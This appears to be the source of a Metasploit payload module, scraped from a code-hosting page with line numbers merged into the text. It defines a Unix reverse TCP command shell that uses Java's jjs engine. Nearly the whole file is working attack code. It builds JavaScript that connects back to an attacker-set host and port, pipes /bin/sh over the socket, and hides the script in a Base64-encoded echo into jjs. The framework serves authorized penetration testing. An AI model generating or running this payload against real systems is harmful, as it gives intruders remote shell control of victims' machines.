Path: blob/master/modules/payloads/singles/cmd/unix/reverse_jjs.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 86378include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse TCP (via jjs)',16'Description' => 'Connect back and create a command shell via jjs',17'Author' => [18'conerpirate', # jjs reverse shell19'bcoles' # metasploit20],21'References' => [22['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],23['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],24['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],25],26'License' => MSF_LICENSE,27'Platform' => 'unix',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::ReverseTcp,30'Session' => Msf::Sessions::CommandShell,31'PayloadType' => 'cmd',32'RequiredCmd' => 'jjs',33'Payload' => { 'Offsets' => {}, 'Payload' => '' }34)35)36register_options(37[38OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])39]40)41register_advanced_options(42[43OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])44]45)46end4748def generate(_opts = {})49return super + command_string50end5152def command_string53lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']54jcode = %{55var ProcessBuilder=Java.type("java.lang.ProcessBuilder");56var p=new ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();57var ss=Java.type("java.net.Socket");58var s=new ss("#{lhost}",#{datastore['LPORT']});59var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();60var po=p.getOutputStream(),so=s.getOutputStream();61while(!s.isClosed()){62while(pi.available()>0)so.write(pi.read());63while(pe.available()>0)so.write(pe.read());64while(si.available()>0)po.write(si.read());65so.flush();66po.flush();67Java.type("java.lang.Thread").sleep(50);68try{p.exitValue();break;}catch(e){}69};70p.destroy();s.close();71}72minified = jcode.split("\n").map(&:lstrip).join7374%{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}75end76end777879